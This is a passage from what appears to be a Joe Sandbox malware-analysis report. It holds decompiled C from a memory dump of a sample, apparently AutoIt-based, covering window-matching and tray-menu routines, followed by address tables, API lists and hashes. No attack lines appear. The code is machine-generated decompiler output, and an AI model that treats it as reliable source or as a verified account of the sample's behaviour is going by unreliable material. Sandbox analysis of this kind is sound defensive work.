				char _v64;
				char _v68;
				struct HWND__* _v72;
				struct HWND__ _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t152;
				signed int _t168;
				short* _t185;
				signed int _t190;
				signed int _t191;
				signed int _t195;
				struct HWND__* _t200;
				signed int _t206;
				signed int _t208;
				signed int _t212;
				signed int _t215;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t241;
				signed int _t242;
				intOrPtr _t244;
				intOrPtr _t245;
				intOrPtr _t246;
				intOrPtr _t248;
				signed int* _t251;
				signed int _t257;
				signed int _t262;
				signed int _t268;
				signed int _t270;
				void* _t368;
				void* _t373;
				signed int _t374;
				void* _t376;
				void* _t377;
				void* _t379;
				void* _t381;
				void* _t383;
				void* _t384;
				void* _t385;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				void* _t394;

				_t394 = __fp0;
				_t389 = __eflags;
				_t376 = (_t374 & 0xfffffff8) - 0x44;
				_t270 = _a4;
				E00410810(E00410810(_t152, _a16), _t270 + 0xec);
				_t320 = _a8;
				_t338 = _t270 + 0x14;
				 *((char*)(_t270 + 4)) = _a32;
				 *((char*)(_t270 + 5)) = _a28;
				E0040DF50(_t270 + 0x14, _a8);
				_t355 = _t270 + 0x24;
				E0040DF50(_t270 + 0x24, _a12);
				E004021E0(_t270 + 0xbc, _t270, _a8, 0x4848e8);
				 *(_t270 + 0x10) = _a20;
				 *(_t270 + 0xcc) = 1;
				 *((char*)(_t270 + 0xc)) = 1;
				 *(_t270 + 8) = 0;
				 *((intOrPtr*)(_t270 + 0xd0)) = 0;
				 *((intOrPtr*)(_t270 + 0xe4)) = 0;
				E0040C060( &_v64, _t389);
				E0040C060( &_v48, _t389);
				_t283 =  &_v32;
				E0040C060( &_v32, _t389);
				_t165 =  *(_t270 + 0x10);
				if( *(_t270 + 0x10) < 0) {
					_t268 = E00413762(_t165);
					_t376 = _t376 + 4;
					 *(_t270 + 0x10) = _t268;
					 *((char*)(_t270 + 0xc)) = 0;
				}
				_t391 =  *(_t270 + 0x10) - 4;
				if( *(_t270 + 0x10) == 4) {
					E0046884B(_t320, _t373, _t391, _t394, _t338);
					 *(_t270 + 0x10) = 1;
				}
				if(E00437BFD(_t338) == 0 || E00437BFD(_t355) == 0) {
					__eflags =  *((short*)(E00401BE0(0, _t270 + 0x14, __eflags))) - 0x5b;
					if(__eflags != 0) {
						L53:
						_t168 = E00437BFD( &_v20);
						__eflags = _t168;
						if(_t168 == 0) {
							E0040DF50(_t270 + 0x14,  &_v20);
						}
						__eflags =  *(_t270 + 8);
						if( *(_t270 + 8) == 0) {
							 *(_t270 + 8) = 1;
						}
						 *(_t270 + 8) =  *(_t270 + 8) | 0x00000004;
						__eflags =  *((char*)(_t270 + 0xc));
						if( *((char*)(_t270 + 0xc)) == 0) {
							E00410A40(_t270 + 0x24);
						}
						__eflags =  *(_t270 + 8) & 0x00000001;
						if(( *(_t270 + 8) & 0x00000001) != 0) {
							__eflags =  *((char*)(_t270 + 0xc));
							if( *((char*)(_t270 + 0xc)) == 0) {
								E00410A40(_t270 + 0x14);
							}
						}
						__eflags = _a24;
						_push(_t270);
						_push(0x460772);
						if(_a24 == 0) {
							EnumWindows();
						} else {
							 *0x48263c(GetDesktopWindow());
						}
						_t340 = _a16;
						E00410810(E00445691(_t270, _a16, _t270 + 0xec), _t270 + 0xec);
						__eflags =  *((intOrPtr*)(_t270 + 0xe4)) - 1;
						if( *((intOrPtr*)(_t270 + 0xe4)) >= 1) {
							E0044CC94(_t270,  *((intOrPtr*)(_t340 + 4)), _t340, _t270,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t340 + 4)))))));
						}
						E00402620( &_v24);
						E00402620( &_v40);
						E00402620( &_v56);
						return  *((intOrPtr*)(_t270 + 0xe4));
					} else {
						_t185 = E00401BE0( *((intOrPtr*)(_t270 + 0x18)) - 1, _t270 + 0x14, __eflags);
						__eflags =  *_t185 - 0x5d;
						if( *_t185 == 0x5d) {
							_v72 = 1;
							_t344 =  *((intOrPtr*)(_t270 + 0x18)) - 2;
							__eflags =  *((intOrPtr*)(_t270 + 0x18)) - 2;
							while(1) {
								__eflags = E00460ED4( &_v52, _t394, _t270 + 0x14,  &_v52,  &_v36,  &_v72, _t344);
								if(__eflags == 0) {
									goto L53;
								}
								_t190 = E00445975(__eflags,  &_v52, L"LAST");
								_t377 = _t376 + 8;
								__eflags = _t190;
								if(__eflags != 0) {
									_t191 = E00445975(__eflags,  &_v36, 0x4848e8);
									__eflags = _t191;
									if(_t191 == 0) {
										goto L42;
									} else {
										_t270 =  *_t270;
										__eflags = _t270;
										if(_t270 == 0) {
											goto L46;
										} else {
											_t200 =  *_t270;
											goto L7;
										}
									}
								} else {
									_t206 = E00445975(__eflags,  &_v52, L"ACTIVE");
									_t379 = _t377 + 8;
									__eflags = _t206;
									if(__eflags != 0) {
										_t208 = E00445975(__eflags,  &_v36, 0x4848e8);
										__eflags = _t208;
										if(_t208 == 0) {
											goto L42;
										} else {
											E0044CC94(_t270,  &_v52, _t344, _t270, GetForegroundWindow());
											_push( &_v80);
											_v80 =  *( *_t270);
											_push(_a16);
											goto L8;
										}
									} else {
										_t212 = E00445975(__eflags,  &_v52, L"HANDLE");
										_t381 = _t379 + 8;
										__eflags = _t212;
										if(__eflags != 0) {
											E00435C62(__eflags, _v36,  &_v72);
											_t366 = _v72;
											_t215 = IsWindow(_v72);
											__eflags = _t215;
											if(_t215 == 0) {
												L46:
												E00402620( &_v20);
												E00402620( &_v36);
												E00402620( &_v52);
												__eflags = 0;
												return 0;
											} else {
												E0044CC94(_t270,  &_v52, _t344, _t270, _t366);
												_push( &_v80);
												_v80 =  *( *_t270);
												_push(_a16);
												goto L8;
											}
										} else {
											_t219 = E00445975(__eflags,  &_v52, L"REGEXPTITLE");
											_t376 = _t381 + 8;
											__eflags = _t219;
											if(__eflags == 0) {
												_t221 = E00445975(__eflags,  &_v52, L"CLASS");
												_t376 = _t376 + 8;
												__eflags = _t221;
												if(__eflags == 0) {
													_t330 =  &_v52;
													_t222 = E00445975(__eflags,  &_v52, L"REGEXPCLASS");
													_t376 = _t376 + 8;
													__eflags = _t222;
													if(__eflags == 0) {
														_t223 = E00445975(__eflags,  &_v52, "X");
														_t383 = _t376 + 8;
														__eflags = _t223;
														if(__eflags == 0) {
															_t224 = E00445975(__eflags,  &_v52, "Y");
															_t384 = _t383 + 8;
															__eflags = _t224;
															if(__eflags == 0) {
																_t226 = E00445975(__eflags,  &_v52, "W");
																_t385 = _t384 + 8;
																__eflags = _t226;
																if(__eflags == 0) {
																	_t227 = E00445975(__eflags,  &_v52, "H");
																	_t386 = _t385 + 8;
																	__eflags = _t227;
																	if(__eflags == 0) {
																		_t228 = E00445975(__eflags,  &_v52, L"INSTANCE");
																		_t387 = _t386 + 8;
																		__eflags = _t228;
																		if(__eflags == 0) {
																			_t230 = E00445975(__eflags,  &_v52, L"ALL");
																			_t388 = _t387 + 8;
																			__eflags = _t230;
																			if(__eflags == 0) {
																				_t231 = E00445975(__eflags,  &_v52, L"TITLE");
																				_t376 = _t388 + 8;
																				__eflags = _t231;
																				if(__eflags == 0) {
																					_t232 = E0044CD47(__eflags,  &_v52, 0x4848e8);
																					_t376 = _t376 + 8;
																					__eflags = _t232;
																					if(_t232 == 0) {
																						continue;
																					} else {
																						goto L42;
																					}
																				} else {
																					_t233 =  *(_t270 + 8);
																					__eflags = _t233 & 0x00000002;
																					if((_t233 & 0x00000002) != 0) {
																						E00402620( &_v20);
																						E00402620( &_v36);
																						E00402620( &_v52);
																						return 0xfffffffc;
																					} else {
																						 *(_t270 + 8) = _t233 | 0x00000001;
																						E0040DF50( &_v20,  &_v36);
																						continue;
																					}
																				}
																			} else {
																				_t241 = E00445975(__eflags,  &_v36, 0x4848e8);
																				_t376 = _t388 + 8;
																				__eflags = _t241;
																				if(_t241 == 0) {
																					L42:
																					E00402620( &_v20);
																					E00402620( &_v36);
																					_t195 = E00402620( &_v52) | 0xffffffff;
																					__eflags = _t195;
																					return _t195;
																				} else {
																					 *(_t270 + 8) =  *(_t270 + 8) | 0x00000040;
																					continue;
																				}
																			}
																		} else {
																			 *(_t270 + 8) =  *(_t270 + 8) | 0x00000020;
																			_push(_v36);
																			_t242 = E00413431();
																			_t376 = _t387 + 4;
																			 *(_t270 + 0xcc) = _t242;
																			continue;
																		}
																	} else {
																		 *(_t270 + 8) =  *(_t270 + 8) | 0x00000400;
																		_push(_v36);
																		_t244 = E00413431();
																		_t376 = _t386 + 4;
																		 *((intOrPtr*)(_t270 + 0xe0)) = _t244;
																		continue;
																	}
																} else {
																	 *(_t270 + 8) =  *(_t270 + 8) | 0x00000200;
																	_push(_v36);
																	_t245 = E00413431();
																	_t376 = _t385 + 4;
																	 *((intOrPtr*)(_t270 + 0xdc)) = _t245;
																	continue;
																}
															} else {
																 *(_t270 + 8) =  *(_t270 + 8) | 0x00000100;
																_push(_v36);
																_t246 = E00413431();
																_t376 = _t384 + 4;
																 *((intOrPtr*)(_t270 + 0xd8)) = _t246;
																continue;
															}
														} else {
															 *(_t270 + 8) =  *(_t270 + 8) | 0x00000080;
															_push(_v36);
															_t248 = E00413431();
															_t376 = _t383 + 4;
															 *((intOrPtr*)(_t270 + 0xd4)) = _t248;
															continue;
														}
													} else {
														 *(_t270 + 8) =  *(_t270 + 8) | 0x00000010;
														_t368 = _t270 + 0x78;
														E00401060( &_v52, _t368);
														_push( &_v36);
														_t312 =  &_v60;
														_push( &_v60);
														goto L19;
													}
												} else {
													 *(_t270 + 8) =  *(_t270 + 8) | 0x00000008;
													E0040DF50(_t270 + 0xbc,  &_v36);
													continue;
												}
											} else {
												_t257 =  *(_t270 + 8);
												__eflags = _t257 & 0x00000001;
												if((_t257 & 0x00000001) != 0) {
													E00402620( &_v20);
													E00402620( &_v36);
													E00402620( &_v52);
													return 0xfffffffd;
												} else {
													_t262 = _t257 | 0x00000002;
													__eflags = _t262;
													_t368 = _t270 + 0x34;
													 *(_t270 + 8) = _t262;
													E00401060( &_v52, _t368);
													_t312 =  &_v36;
													_push( &_v36);
													_t330 =  &_v68;
													_push( &_v68);
													L19:
													_push(_t368);
													_t251 = E0046865B(_t312, _t330, __eflags);
													__eflags =  *_t251;
													if( *_t251 == 0) {
														continue;
													} else {
														E00402620( &_v20);
														E00402620( &_v36);
														E00402620( &_v52);
														return 0xfffffffe;
													}
												}
											}
										}
									}
								}
								goto L68;
							}
						}
						goto L53;
					}
				} else {
					E0044CC94(_t270, _t283, _t338, _t270, GetForegroundWindow());
					_t200 =  *( *_t270);
					L7:
					_push( &_v72);
					_v72 = _t200;
					_push(_a16);
					L8:
					E00434343(_t270, _t373);
					E00402620( &_v28);
					E00402620( &_v44);
					E00402620( &_v60);
					return 1;
				}
				L68:
			}







































































                                                                                                                                                                            0x0046d6eb
                                                                                                                                                                            0x0046d6eb
                                                                                                                                                                            0x0046d6f1
                                                                                                                                                                            0x0046d6f5
                                                                                                                                                                            0x0046d708
                                                                                                                                                                            0x0046d70d
                                                                                                                                                                            0x0046d716
                                                                                                                                                                            0x0046d71c
                                                                                                                                                                            0x0046d71f
                                                                                                                                                                            0x0046d722
                                                                                                                                                                            0x0046d72a
                                                                                                                                                                            0x0046d72e
                                                                                                                                                                            0x0046d73e
                                                                                                                                                                            0x0046d748
                                                                                                                                                                            0x0046d74f
                                                                                                                                                                            0x0046d759
                                                                                                                                                                            0x0046d75d
                                                                                                                                                                            0x0046d760
                                                                                                                                                                            0x0046d766
                                                                                                                                                                            0x0046d76c
                                                                                                                                                                            0x0046d775
                                                                                                                                                                            0x0046d77a
                                                                                                                                                                            0x0046d77e
                                                                                                                                                                            0x0046d783
                                                                                                                                                                            0x0046d788
                                                                                                                                                                            0x0046d78b
                                                                                                                                                                            0x0046d790
                                                                                                                                                                            0x0046d793
                                                                                                                                                                            0x0046d796
                                                                                                                                                                            0x0046d796
                                                                                                                                                                            0x0046d79a
                                                                                                                                                                            0x0046d79e
                                                                                                                                                                            0x0046d7a1
                                                                                                                                                                            0x0046d7a6
                                                                                                                                                                            0x0046d7a6
                                                                                                                                                                            0x0046d7b5
                                                                                                                                                                            0x0046d817
                                                                                                                                                                            0x0046d81b
                                                                                                                                                                            0x0046dc5b
                                                                                                                                                                            0x0046dc60
                                                                                                                                                                            0x0046dc65
                                                                                                                                                                            0x0046dc67
                                                                                                                                                                            0x0046dc71
                                                                                                                                                                            0x0046dc71
                                                                                                                                                                            0x0046dc76
                                                                                                                                                                            0x0046dc7a
                                                                                                                                                                            0x0046dc7c
                                                                                                                                                                            0x0046dc7c
                                                                                                                                                                            0x0046dc83
                                                                                                                                                                            0x0046dc87
                                                                                                                                                                            0x0046dc8b
                                                                                                                                                                            0x0046dc90
                                                                                                                                                                            0x0046dc90
                                                                                                                                                                            0x0046dc95
                                                                                                                                                                            0x0046dc99
                                                                                                                                                                            0x0046dc9b
                                                                                                                                                                            0x0046dc9f
                                                                                                                                                                            0x0046dca4
                                                                                                                                                                            0x0046dca4
                                                                                                                                                                            0x0046dc9f
                                                                                                                                                                            0x0046dca9
                                                                                                                                                                            0x0046dcad
                                                                                                                                                                            0x0046dcae
                                                                                                                                                                            0x0046dcb3
                                                                                                                                                                            0x0046dcc4
                                                                                                                                                                            0x0046dcb5
                                                                                                                                                                            0x0046dcbc
                                                                                                                                                                            0x0046dcbc
                                                                                                                                                                            0x0046dcca
                                                                                                                                                                            0x0046dcda
                                                                                                                                                                            0x0046dcdf
                                                                                                                                                                            0x0046dce6
                                                                                                                                                                            0x0046dcf1
                                                                                                                                                                            0x0046dcf1
                                                                                                                                                                            0x0046dd00
                                                                                                                                                                            0x0046dd09
                                                                                                                                                                            0x0046dd12
                                                                                                                                                                            0x0046dd1f
                                                                                                                                                                            0x0046d821
                                                                                                                                                                            0x0046d82a
                                                                                                                                                                            0x0046d82f
                                                                                                                                                                            0x0046d833
                                                                                                                                                                            0x0046d83c
                                                                                                                                                                            0x0046d844
                                                                                                                                                                            0x0046d844
                                                                                                                                                                            0x0046d84b
                                                                                                                                                                            0x0046d864
                                                                                                                                                                            0x0046d866
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d876
                                                                                                                                                                            0x0046d87b
                                                                                                                                                                            0x0046d87e
                                                                                                                                                                            0x0046d880
                                                                                                                                                                            0x0046db4b
                                                                                                                                                                            0x0046db53
                                                                                                                                                                            0x0046db55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046db57
                                                                                                                                                                            0x0046db57
                                                                                                                                                                            0x0046db59
                                                                                                                                                                            0x0046db5b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046db5d
                                                                                                                                                                            0x0046db5d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046db5d
                                                                                                                                                                            0x0046db5b
                                                                                                                                                                            0x0046d886
                                                                                                                                                                            0x0046d890
                                                                                                                                                                            0x0046d895
                                                                                                                                                                            0x0046d898
                                                                                                                                                                            0x0046d89a
                                                                                                                                                                            0x0046db94
                                                                                                                                                                            0x0046db9c
                                                                                                                                                                            0x0046db9e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046dba4
                                                                                                                                                                            0x0046dbac
                                                                                                                                                                            0x0046dbbc
                                                                                                                                                                            0x0046dbbd
                                                                                                                                                                            0x0046dbc1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046dbc1
                                                                                                                                                                            0x0046d8a0
                                                                                                                                                                            0x0046d8aa
                                                                                                                                                                            0x0046d8af
                                                                                                                                                                            0x0046d8b2
                                                                                                                                                                            0x0046d8b4
                                                                                                                                                                            0x0046dbd1
                                                                                                                                                                            0x0046dbd6
                                                                                                                                                                            0x0046dbde
                                                                                                                                                                            0x0046dbe4
                                                                                                                                                                            0x0046dbe6
                                                                                                                                                                            0x0046db64
                                                                                                                                                                            0x0046db68
                                                                                                                                                                            0x0046db71
                                                                                                                                                                            0x0046db7a
                                                                                                                                                                            0x0046db7f
                                                                                                                                                                            0x0046db87
                                                                                                                                                                            0x0046dbec
                                                                                                                                                                            0x0046dbee
                                                                                                                                                                            0x0046dbfe
                                                                                                                                                                            0x0046dbff
                                                                                                                                                                            0x0046dc03
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046dc03
                                                                                                                                                                            0x0046d8ba
                                                                                                                                                                            0x0046d8c4
                                                                                                                                                                            0x0046d8c9
                                                                                                                                                                            0x0046d8cc
                                                                                                                                                                            0x0046d8ce
                                                                                                                                                                            0x0046d935
                                                                                                                                                                            0x0046d93a
                                                                                                                                                                            0x0046d93d
                                                                                                                                                                            0x0046d93f
                                                                                                                                                                            0x0046d95a
                                                                                                                                                                            0x0046d964
                                                                                                                                                                            0x0046d969
                                                                                                                                                                            0x0046d96c
                                                                                                                                                                            0x0046d96e
                                                                                                                                                                            0x0046d995
                                                                                                                                                                            0x0046d99a
                                                                                                                                                                            0x0046d99d
                                                                                                                                                                            0x0046d99f
                                                                                                                                                                            0x0046d9ca
                                                                                                                                                                            0x0046d9cf
                                                                                                                                                                            0x0046d9d2
                                                                                                                                                                            0x0046d9d4
                                                                                                                                                                            0x0046d9ff
                                                                                                                                                                            0x0046da04
                                                                                                                                                                            0x0046da07
                                                                                                                                                                            0x0046da09
                                                                                                                                                                            0x0046da34
                                                                                                                                                                            0x0046da39
                                                                                                                                                                            0x0046da3c
                                                                                                                                                                            0x0046da3e
                                                                                                                                                                            0x0046da69
                                                                                                                                                                            0x0046da6e
                                                                                                                                                                            0x0046da71
                                                                                                                                                                            0x0046da73
                                                                                                                                                                            0x0046da9b
                                                                                                                                                                            0x0046daa0
                                                                                                                                                                            0x0046daa3
                                                                                                                                                                            0x0046daa5
                                                                                                                                                                            0x0046dad0
                                                                                                                                                                            0x0046dad5
                                                                                                                                                                            0x0046dad8
                                                                                                                                                                            0x0046dada
                                                                                                                                                                            0x0046db0a
                                                                                                                                                                            0x0046db0f
                                                                                                                                                                            0x0046db12
                                                                                                                                                                            0x0046db14
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046dadc
                                                                                                                                                                            0x0046dadc
                                                                                                                                                                            0x0046dadf
                                                                                                                                                                            0x0046dae1
                                                                                                                                                                            0x0046dc36
                                                                                                                                                                            0x0046dc3f
                                                                                                                                                                            0x0046dc48
                                                                                                                                                                            0x0046dc58
                                                                                                                                                                            0x0046dae7
                                                                                                                                                                            0x0046daea
                                                                                                                                                                            0x0046daf6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046daf6
                                                                                                                                                                            0x0046dae1
                                                                                                                                                                            0x0046daa7
                                                                                                                                                                            0x0046dab1
                                                                                                                                                                            0x0046dab6
                                                                                                                                                                            0x0046dab9
                                                                                                                                                                            0x0046dabb
                                                                                                                                                                            0x0046db1a
                                                                                                                                                                            0x0046db1e
                                                                                                                                                                            0x0046db27
                                                                                                                                                                            0x0046db35
                                                                                                                                                                            0x0046db35
                                                                                                                                                                            0x0046db3e
                                                                                                                                                                            0x0046dabd
                                                                                                                                                                            0x0046dabd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046dabd
                                                                                                                                                                            0x0046dabb
                                                                                                                                                                            0x0046da75
                                                                                                                                                                            0x0046da79
                                                                                                                                                                            0x0046da7d
                                                                                                                                                                            0x0046da7e
                                                                                                                                                                            0x0046da83
                                                                                                                                                                            0x0046da86
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046da86
                                                                                                                                                                            0x0046da40
                                                                                                                                                                            0x0046da44
                                                                                                                                                                            0x0046da4b
                                                                                                                                                                            0x0046da4c
                                                                                                                                                                            0x0046da51
                                                                                                                                                                            0x0046da54
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046da54
                                                                                                                                                                            0x0046da0b
                                                                                                                                                                            0x0046da0f
                                                                                                                                                                            0x0046da16
                                                                                                                                                                            0x0046da17
                                                                                                                                                                            0x0046da1c
                                                                                                                                                                            0x0046da1f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046da1f
                                                                                                                                                                            0x0046d9d6
                                                                                                                                                                            0x0046d9da
                                                                                                                                                                            0x0046d9e1
                                                                                                                                                                            0x0046d9e2
                                                                                                                                                                            0x0046d9e7
                                                                                                                                                                            0x0046d9ea
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d9ea
                                                                                                                                                                            0x0046d9a1
                                                                                                                                                                            0x0046d9a5
                                                                                                                                                                            0x0046d9ac
                                                                                                                                                                            0x0046d9ad
                                                                                                                                                                            0x0046d9b2
                                                                                                                                                                            0x0046d9b5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d9b5
                                                                                                                                                                            0x0046d970
                                                                                                                                                                            0x0046d970
                                                                                                                                                                            0x0046d974
                                                                                                                                                                            0x0046d977
                                                                                                                                                                            0x0046d980
                                                                                                                                                                            0x0046d981
                                                                                                                                                                            0x0046d985
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d985
                                                                                                                                                                            0x0046d941
                                                                                                                                                                            0x0046d941
                                                                                                                                                                            0x0046d950
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d950
                                                                                                                                                                            0x0046d8d0
                                                                                                                                                                            0x0046d8d0
                                                                                                                                                                            0x0046d8d3
                                                                                                                                                                            0x0046d8d5
                                                                                                                                                                            0x0046dc0d
                                                                                                                                                                            0x0046dc16
                                                                                                                                                                            0x0046dc1f
                                                                                                                                                                            0x0046dc2f
                                                                                                                                                                            0x0046d8db
                                                                                                                                                                            0x0046d8db
                                                                                                                                                                            0x0046d8db
                                                                                                                                                                            0x0046d8de
                                                                                                                                                                            0x0046d8e1
                                                                                                                                                                            0x0046d8e4
                                                                                                                                                                            0x0046d8e9
                                                                                                                                                                            0x0046d8ed
                                                                                                                                                                            0x0046d8ee
                                                                                                                                                                            0x0046d8f2
                                                                                                                                                                            0x0046d8f3
                                                                                                                                                                            0x0046d8f3
                                                                                                                                                                            0x0046d8f4
                                                                                                                                                                            0x0046d8f9
                                                                                                                                                                            0x0046d8fc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d902
                                                                                                                                                                            0x0046d906
                                                                                                                                                                            0x0046d90f
                                                                                                                                                                            0x0046d918
                                                                                                                                                                            0x0046d928
                                                                                                                                                                            0x0046d928
                                                                                                                                                                            0x0046d8fc
                                                                                                                                                                            0x0046d8d5
                                                                                                                                                                            0x0046d8ce
                                                                                                                                                                            0x0046d8b4
                                                                                                                                                                            0x0046d89a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d880
                                                                                                                                                                            0x0046d84b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046d833
                                                                                                                                                                            0x0046d7c1
                                                                                                                                                                            0x0046d7c9
                                                                                                                                                                            0x0046d7d0
                                                                                                                                                                            0x0046d7d2
                                                                                                                                                                            0x0046d7d9
                                                                                                                                                                            0x0046d7da
                                                                                                                                                                            0x0046d7de
                                                                                                                                                                            0x0046d7df
                                                                                                                                                                            0x0046d7df
                                                                                                                                                                            0x0046d7e8
                                                                                                                                                                            0x0046d7f1
                                                                                                                                                                            0x0046d7fa
                                                                                                                                                                            0x0046d80a
                                                                                                                                                                            0x0046d80a
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                                            • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                                            • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                                            • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Foreground_wcslen$DesktopEnumWindows
                                                                                                                                                                            • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                            • API String ID: 922037996-1919597938
                                                                                                                                                                            • Opcode ID: cbc4988671bc876272ad8e7c4e90c78d84a2def2512d6566d5f4c11776eea4b9
                                                                                                                                                                            • Instruction ID: e1aaf888814e3eac3081d1083895f2ec5ff588ed609477e93394eec3ab890be9
                                                                                                                                                                            • Opcode Fuzzy Hash: cbc4988671bc876272ad8e7c4e90c78d84a2def2512d6566d5f4c11776eea4b9
                                                                                                                                                                            • Instruction Fuzzy Hash: 6EF1A471D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E779E909CB6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 69%
                                                                                                                                                                            			E004680EB(void* __ecx, void* __eflags, void* __fp0) {
				void* __ebx;
				int __edi;
				signed int _t49;
				struct HMENU__* _t71;
				void* _t72;
				void* _t82;
				signed int _t83;
				struct HWND__* _t85;
				struct HMENU__** _t86;
				void* _t88;
				void* _t89;
				void* _t99;

				_t99 = __fp0;
				_t72 = __ecx;
				_t86 =  *(_t88 + 0x48);
				 *((intOrPtr*)(_t88 + 0x24)) = 0x30;
				E004131F0(_t82, _t88 + 0x20, 0, 0x2c);
				_t71 = _t86[0x270];
				_t49 =  *((intOrPtr*)(_t88 + 0x60)) + 0xfffffe00;
				_t89 = _t88 + 0xc;
				_t83 = 0;
				if(_t49 > 6) {
					L20:
					if((_t86[3] & _t83) == 0 ||  *0x497293 == 0) {
						L34:
						return _t49;
					} else {
						if(_t86[1] == 0) {
							DeleteMenu( *_t86, 5, 0);
							DeleteMenu( *_t86, 4, 0);
							DeleteMenu( *_t86, 6, 0);
							DeleteMenu( *_t86, 3, 0);
							_t86[2] = 0;
						} else {
							if(_t86[2] == 0) {
								if(GetMenuItemCount( *_t86) > 0) {
									_push(0);
									_push(0xffffffff);
									_push(0xffffffff);
									_push(0x4848e8);
									_push(0);
									_push(_t86);
									_t86[0x270] = 4;
									E0045F2C5();
								}
								_push(0);
								_push(0xffffffff);
								_push(0xffffffff);
								_push(_t86[0x1f]);
								_push(0);
								_push(_t86);
								_t86[0x270] = 3;
								E0045F2C5();
								_push(0);
								_push(0xffffffff);
								_push(0xffffffff);
								_push(0x4848e8);
								_push(0);
								_push(_t86);
								_t86[0x270] = 5;
								E0045F2C5();
								_push(0);
								_push(0xffffffff);
								_push(0xffffffff);
								_push(_t86[0x1b]);
								_push(0);
								_push(_t86);
								_t86[0x270] = 2;
								E0045F2C5();
								_t86[0x270] = _t71;
								_t86[2] = 1;
							}
						}
						_t49 = GetMenuItemCount( *_t86);
						if(_t49 <= 0) {
							goto L34;
						} else {
							if(_t86[1] != 0) {
								if(_t86[1] != 0) {
									 *0x497294 = 1;
									 *(_t89 + 0x2c) = 1;
									 *(_t89 + 0x34) = 8;
									SetMenuItemInfoW( *_t86, 4, 0, _t89 + 0x18);
								}
							} else {
								_t86[1] = 0;
							}
							GetCursorPos(_t89 + 0x10);
							_t85 =  *(_t89 + 0x50);
							SetForegroundWindow(_t85);
							TrackPopupMenuEx( *_t86, 0,  *(_t89 + 0x10),  *(_t89 + 0x14), _t85, 0);
							PostMessageW(_t85, 0, 0, 0);
							return E00401E70(_t86, _t71, _t99);
						}
					}
				}
				switch( *((intOrPtr*)(_t49 * 4 +  &M0046836B))) {
					case 0:
						__edi = 0x40;
						_push(0xfffffff5);
						goto L19;
					case 1:
						_t83 = 1;
						_push(0xfffffff9);
						goto L19;
					case 2:
						__edi = 2;
						_push(0xfffffff8);
						goto L19;
					case 3:
						__eflags =  *((char*)(__esi + 0xa));
						__edi = 4;
						if(__eflags == 0) {
							L14:
							_push(0xfffffff3);
							goto L19;
						}
						__ebp = 7;
						__eflags = __ebx - 7;
						 *(__esp + 0x1c) = 1;
						 *(__esp + 0x24) = 8;
						if(__eflags < 0) {
							goto L14;
						} else {
							__ecx = __esi + 0x1c0;
							 *(__esp + 0x4c) = __ecx;
